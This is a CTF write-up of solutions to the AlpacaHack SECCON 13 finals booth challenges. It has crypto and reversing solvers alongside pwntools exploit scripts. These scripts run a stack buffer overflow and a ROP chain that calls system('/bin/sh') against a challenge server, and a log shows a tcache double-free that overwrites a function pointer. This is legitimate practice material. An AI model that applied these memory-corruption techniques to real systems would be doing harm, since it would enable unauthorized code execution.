AlpacaHack seccon-13-finals-booth Writeup https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges
preface
最速で15冠しTシャツをもらいました
Beginner's Flag Printer https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/beginners-flag-printer
printf("%x",539232261)
https://wiki.osdev.org/System_V_ABI#:~:text=view%3Dmsvc%2D170-,x86%2D64,-This%20is%20a
// solver.js
function findPair() {
for (let exp = 20; exp <= 22; exp++) {
for (let m1 = -9; m1 <= -1; m1++) {
for (let m2 = -9; m2 <= -1; m2++) {
let a = m1 * Math.pow(10, exp);
let b = m2 * Math.pow(10, exp - 1);
if (a < b && parseInt(a) > parseInt(b)) {
return { a, b };
}
}
}
}
return null;
}
const pair = findPair();
if (pair) {
console.log("Found valid pair:");
console.log("a =", pair.a);
console.log("b =", pair.b);
console.log("a.toString() =", pair.a.toString());
console.log("b.toString() =", pair.b.toString());
console.log("parseInt(a) =", parseInt(pair.a));
console.log("parseInt(b) =", parseInt(pair.b));
} else {
console.log("No valid pair found.");
}
trippple https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/trippple
from Crypto.Util.number import long_to_bytes, inverse
n = 272361880253535445317143279209232620259509770172080133049487958853930525983846305005657
c = 69147423377323669983172806367084358432369489877851180970277804462365354019444586165184
e = 65537
def integer_cube_root(n):
lo, hi = 0, n
while lo <= hi:
mid = (lo + hi) // 2
cube = mid * mid * mid
if cube == n:
return mid
elif cube < n:
lo = mid + 1
else:
hi = mid - 1
return hi
p = integer_cube_root(n)
assert p**3 == n, "n is not a perfect cube!"
print(f"Found p: {p}")
phi_n = p * p * (p - 1)
d = inverse(e, phi_n)
m = pow(c, d, n)
flag = long_to_bytes(m)
print("FLAG:", flag.decode())
danger of buffer overflow https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/danger-of-buffer-overflow
from pwn import *
import sys
e = ELF("buffer-overflow",checksec=False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False)
nc = "nc 34.170.146.252 24310"
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
dbg = 1
g_script = """
set max-visualize-chunk-size 0x300
"""
context.binary = e
if len(sys.argv) > 1:
io = remote(host=HOST,port=PORT)
else:
io = e.process()
if dbg:
gdb.attach(io,g_script)
s = lambda b: io.send(b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda b: io.sendline(b)
sla = lambda a,b: io.sendlineafter(a,b)
r = lambda : io.recv()
ru = lambda b:io.recvuntil(b)
rl = lambda : io.recvline()
pu32= lambda b : u32(b.ljust(4,b"\0"))
pu64= lambda b : u64(b.ljust(8,b"\0"))
hlog= lambda i : print(f"[*]{hex(i)}")
shell = lambda : io.interactive()
payload = b""
def pay64(adr:int):global payload;payload = p64(adr)
def add64(adr:int):global payload;payload+= p64(adr)
def paybyte(data:bytes):global payload;payload = data
def addbyte(data:bytes):global payload;payload+= data
ru(b"address of print_flag func: ")
print_flag = int(rl().strip(),16)
paybyte(b"A"*0x8)
add64(print_flag)
sl(payload)
shell()
play with memory https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/play-with-memory
scanf("%4s", &number);
if (number == 12345) {
print_flag();
}
from pwn import *
import sys
e = ELF("memory",checksec=False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False)
nc = "nc 34.170.146.252 57944"
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
dbg = 1
g_script = """
#set max-visualize-chunk-size 0x300
b *main+86
"""
context.binary = e
if len(sys.argv) > 1:
io = remote(host=HOST,port=PORT)
else:
io = e.process()
if dbg:
gdb.attach(io,g_script)
s = lambda b: io.send(b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda b: io.sendline(b)
sla = lambda a,b: io.sendlineafter(a,b)
r = lambda : io.recv()
ru = lambda b:io.recvuntil(b)
rl = lambda : io.recvline()
pu32= lambda b : u32(b.ljust(4,b"\0"))
pu64= lambda b : u64(b.ljust(8,b"\0"))
hlog= lambda i : print(f"[*]{hex(i)}")
shell = lambda : io.interactive()
payload = b""
def pay64(adr:int):global payload;payload = p64(adr)
def add64(adr:int):global payload;payload+= p64(adr)
def paybyte(data:bytes):global payload;payload = data
def addbyte(data:bytes):global payload;payload+= data
sl(b"\x39\x30\x00\x00")
shell()
42 https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/42
from Crypto.Util.number import long_to_bytes
res = [3 ,23 ,2205496470181 ,2219555763769 ,2233425033163 ,2239061295271 ,2259023796727 ,2284404776567 ,2291370145123 ,2416633488457 ,2419508288471 ,2434758174067 ,2500841090549 ,2503738093453 ,2573045476847 ,2680923822481 ,2778916602433 ,2788061078027 ,2796482148853 ,2874516939989 ,3132015040537 ,3139228584347 ,3155640636023 ,3194390562137 ,3284689931333 ,3395646793247 ,3450918694961 ,3542857468897 ,3558548169959 ,3723346041941 ,3734921299007 ,3741754738429 ,3881331302137 ,3955397572079 ,3975840251293 ,4072584462841 ,4130457980197 ,4158189715259 ,4194605058227 ,4207350753019 ,4244137496801 ,4299476105167 ,4327600625807 ,4333485694679 ,64527453873583290390233 ,360296424708927327075211324489217]
flag = 1
for r in res:
if r.bit_length() != 42:
flag *= r
print(long_to_bytes(flag))
FlagPrinter
BITS 64
global main
extern printf
section .rodata
LC0:
db "Alpaca{%s}", 10, 0
section .text
f:
push rbp
mov rbp, rsp
mov qword [rbp-24], rdi
mov dword [rbp-4], 0
jmp .L2
.L4:
mov eax, dword [rbp-4]
movsx rdx, eax
mov rax, qword [rbp-24]
add rax, rdx
movzx eax, byte [rax]
cmp al, 64
jle .L3
mov eax, dword [rbp-4]
movsx rdx, eax
mov rax, qword [rbp-24]
add rax, rdx
movzx eax, byte [rax]
cmp al, 90
jg .L3
mov eax, dword [rbp-4]
movsx rdx, eax
mov rax, qword [rbp-24]
add rax, rdx
movzx eax, byte [rax]
movsx eax, al
lea edx, [rax-65]
mov eax, dword [rbp-4]
add eax, 13
add eax, edx
movsx rdx, eax
imul rdx, rdx, 1321528399
shr rdx, 32
sar edx, 3
mov ecx, eax
sar ecx, 31
sub edx, ecx
imul ecx, edx, 26
sub eax, ecx
mov edx, eax
mov eax, edx
lea ecx, [rax+65]
mov eax, dword [rbp-4]
movsx rdx, eax
mov rax, qword [rbp-24]
add rax, rdx
mov edx, ecx
mov byte [rax], dl
.L3:
add dword [rbp-4], 1
.L2:
mov eax, dword [rbp-4]
movsx rdx, eax
mov rax, qword [rbp-24]
add rax, rdx
movzx eax, byte [rax]
test al, al
jne .L4
nop
nop
pop rbp
ret
main:
push rbp
mov rbp, rsp
sub rsp, 16
mov dword [rbp-7], 1197424961
mov dword [rbp-4], 4672071
lea rax, [rbp-7]
mov rdi, rax
call f
lea rax, [rbp-7]
mov rsi, rax
mov rdi, LC0
xor eax, eax
call printf
xor eax, eax
leave
ret
nasm -f elf64 tmp.asm -o challenge.o
cache crasher https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/cache-crasher
[~] >>>nc 34.170.146.252 45969
address of print_flag: 0x40222e
address of funcptr: 0x405150
opcode(0: alloc, 1: free): 0
data(integer): 0
content of funcptr: 0x4022a2
Cache:
(nil)
Buffer:
buf[0]: 0x4051a0 (val: 0x0)
opcode(0: alloc, 1: free): 1
what index to free: 0
content of funcptr: 0x4022a2
Cache:
0x4051a0 -> (nil)
Buffer:
buf[0]: 0x4051a0 (val: 0x0)
opcode(0: alloc, 1: free): 1
what index to free: 0
content of funcptr: 0x4022a2
Cache:
0x4051a0 -> 0x4051a0 -> 0x4051a0 -> 0x4051a0 -> 0x4051a0 -> ...
Buffer:
buf[0]: 0x4051a0 (val: 0x4051a0)
opcode(0: alloc, 1: free): 0
data(integer): 4215120
content of funcptr: 0x4022a2
Cache:
0x4051a0 -> 0x405150
Buffer:
buf[0]: 0x4051a0 (val: 0x405150)
opcode(0: alloc, 1: free): 0
data(integer): 4203054
content of funcptr: 0x4022a2
Cache:
0x405150
Buffer:
buf[0]: 0x4051a0 (val: 0x40222e)
opcode(0: alloc, 1: free): 0
data(integer): 4203054
content of funcptr: 0x40222e
Alpaca{***REDACTED***}
opcode(0: alloc, 1: free): ^C
Slow Flag Printer https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/slow-flag-printer
#include <iostream>
#include <vector>
#include <cstdlib>
#include <chrono>
#include <thread>
#include <string>
using namespace std;
using namespace std::chrono;
int main() {
srand(0xDEADBEEF);
string secretStr = "@msgmsm\021\021\027Xb\177\061z\f~~Qv\025RzvuZy\002w\025kNH[4H\r^\026\020PP\345\367\377\177";
const int vecSize = 42;
vector<char> vec(vecSize);
for (int i = 0; i < vecSize; i++) {
vec[i] = secretStr[i % secretStr.size()];
}
cout << "flag: " << flush;
auto prevTime = system_clock::now();
long long v14 = 1;
for (int i = 0; i < vecSize; ++i) {
int sleepSeconds = rand() % v14 + 1;
long long elapsedMillis = static_cast<long long>(sleepSeconds) * 1000;
int mask = ((elapsedMillis + 100) / 1000) % 128;
char outChar = vec[i] ^ mask;
cout << outChar << flush;
v14 *= 2;
prevTime += seconds(sleepSeconds);
}
cout << endl;
return 0;
}
Alpaca Wakekko https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/alpaca-wakekko
from pwn import *
import sys
e = ELF("challenge",checksec=False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False)
nc = "nc 34.170.146.252 18911"
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
dbg = 1
g_script = """
set max-visualize-chunk-size 0x300
"""
context.binary = e
if len(sys.argv) > 1:
io = remote(host=HOST,port=PORT)
else:
io = e.process()
if dbg:
gdb.attach(io,g_script)
s = lambda b: io.send(b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda b: io.sendline(b)
sla = lambda a,b: io.sendlineafter(a,b)
r = lambda : io.recv()
ru = lambda b:io.recvuntil(b)
rl = lambda : io.recvline()
pu32= lambda b : u32(b.ljust(4,b"\0"))
pu64= lambda b : u64(b.ljust(8,b"\0"))
hlog= lambda i : print(f"[*]{hex(i)}")
shell = lambda : io.interactive()
payload = b""
def pay64(adr:int):global payload;payload = p64(adr)
def add64(adr:int):global payload;payload+= p64(adr)
def paybyte(data:bytes):global payload;payload = data
def addbyte(data:bytes):global payload;payload+= data
writable = 0x0000000000404a00
alpaca = 0x0402004
paybyte(b"alpaca")
payload = payload.ljust(0x18,b"\0")
add64(alpaca)
add64(alpaca)
add64(writable)
add64(writable)
#add64(e.plt["system"])
add64(0x4012da) #gets() @ wakekko
sl(payload)
paybyte(b"/bin/sh\0")
payload = payload.ljust(0x18,b"\0")
add64(writable-0x30)
add64(writable-0x30)
add64(writable-0x40)
add64(writable-0x40)
add64(0x0401315) #system() @ wakekko
sl(payload)
print(r())
shell()
Last modified: 04 March 2025